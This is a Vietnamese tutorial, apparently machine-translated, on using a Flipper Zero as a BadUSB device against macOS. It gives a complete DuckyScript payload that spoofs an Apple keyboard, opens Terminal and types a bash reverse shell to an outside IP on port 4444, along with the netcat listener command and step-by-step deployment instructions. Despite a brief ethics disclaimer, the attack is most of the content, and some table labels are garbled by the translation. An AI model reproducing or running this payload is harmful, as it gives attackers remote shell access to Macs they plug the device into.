Bài viết này là một ví dụ về cách sử dụng Flipper Zero như một thiết bị BadUSB kiểm tra đạo đức và cách tránh trở thành nạn nhân của việc khai thác như vậy. Không sử dụng điều này trên các máy tính mà bạn không sở hữu hoặc không được phép sử dụng. Mã này không cố gắng che giấu khỏi Hệ thống Phát hiện Xâm nhập (IDS), Hệ thống Ngăn chặn Xâm nhập (IPS), Hệ thống Phát hiện Mạng, Tường lửa hoặc phần mềm Chống Vi-rút (AV).
ID 05ac:021e Apple:Keyboard
DELAY 1000
GUI SPACE
DELAY 200
STRING terminal
DELAY 200
ENTER
DELAY 1000
STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1
DELAY 1000
ENTER
DELAY 1000
Yêu cầu | Sự mô tả |
---|---|
ID 05ac:021e Apple:Bàn phím | Dòng này cho macOS biết Flipper Zero của chúng tôi thực sự là Bàn phím Apple. Nếu bạn không sử dụng dòng này, macOS sẽ hiển thị hộp thoại Hỗ trợ thiết lập bàn phím, điều này sẽ khiến tập lệnh của bạn không thành công. |
SỰ CHẬM TRỄ | Lệnh này hướng dẫn hệ điều hành đợi trong một khoảng thời gian. Nếu chúng tôi không sử dụng những độ trễ này, tập lệnh sẽ chạy quá nhanh và không thành công. |
KHÔNG GIAN GUI | Nhấn phím Apple Command và thanh Dấu cách để mở cửa sổ 'Tìm kiếm Spotlight'. |
Nhà ga STRING | Nhập chuỗi 'Terminal' vào cửa sổ Tìm kiếm Spotlight |
ĐI VÀO | Nhấn phím ENTER hoặc Return trên bàn phím của bạn. Sau khi nhấn phím ENTER, macOS sẽ khởi chạy cửa sổ Terminal (/Applications/Utilities/Terminal) |
CHUỖI bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 | Lệnh này nhập văn bản vào cửa sổ đầu cuối để thiết lập kết nối với máy chủ Netcat đang nghe tại 10.10.10.157 trên Cổng 4444 |
Thay đổi địa chỉ IP tại 10.10.10.157 và Cổng 4444 thành địa chỉ IP và cổng của máy chủ của bạn.
Lưu tệp này vào đĩa của bạn dưới dạng rev_shell_macos.txt . Không có tổ chức thư mục con nào trong thư mục badusb trên Flipper Zero, vì vậy nếu bạn đang sử dụng nhiều tải trọng cho các hệ điều hành khác nhau, hãy sử dụng quy ước đặt tên có ý nghĩa gì đó đối với bạn để bạn biết nó làm gì.
Chọn và nhấp đúp vào biểu tượng Thẻ SD để xem nội dung.
Xác định vị trí và kéo tệp rev_shell_macos.txt mà chúng tôi đã tạo trước đó vào thư mục badusb .
$ nc -nlvp 4444
Yêu cầu | Tùy chọn |
---|---|
nc | lệnh netcat |
-nlvp | ( n ) không có độ phân giải DNS, ( l ) lắng nghe kết nối đến, ( v ) đầu ra chi tiết, ( p ) cổng |
4444 | Số cổng để nghe trên |
Giờ đây, trình nghe Netcat của chúng ta đã sẵn sàng và đang chờ kết nối đến, chúng ta có thể tiến hành cuộc tấn công Flipper Zero BadUSB.
Phần khó khăn đã xong. Tệp Flipper Zero BadUSB reverse_shell_macos.txt được ghi, chuyển sang Flipper Zero và trình nghe Netcat đang chờ kết nối.
Điều hướng đến tệp DuckyScript mà chúng tôi đã sao chép ở bước trước. Nếu bạn không thấy tệp này thì bạn đã sao chép nó vào thư mục sai. Chọn rev_shell_macos và nhấp vào nút Chạy.
Khi thấy cảnh báo Kết nối với USB , bạn có thể kết nối Flipper Zero với cổng USB của iMac hoặc MacBook. Nhấp vào nút Chạy.
Bạn có thể xem tiến trình của tập lệnh BadUSB trong cửa sổ chính. Khi trạng thái đạt 100%, tải trọng đã hoàn tất và bạn có thể gỡ bỏ Flipper Zero.
Nếu bạn đang xem màn hình máy tính của iMac, bạn có thể thấy cách khai thác khi nó thực thi DuckyScript. Trình nghe Netcat trên máy chủ Ubuntu của chúng tôi hiển thị kết quả của yêu cầu thành công.
Bạn có thể sử dụng các lệnh Linux thông thường như whoami , pwd , ls hoặc cd để điều hướng hệ thống tệp và thao tác với hệ điều hành.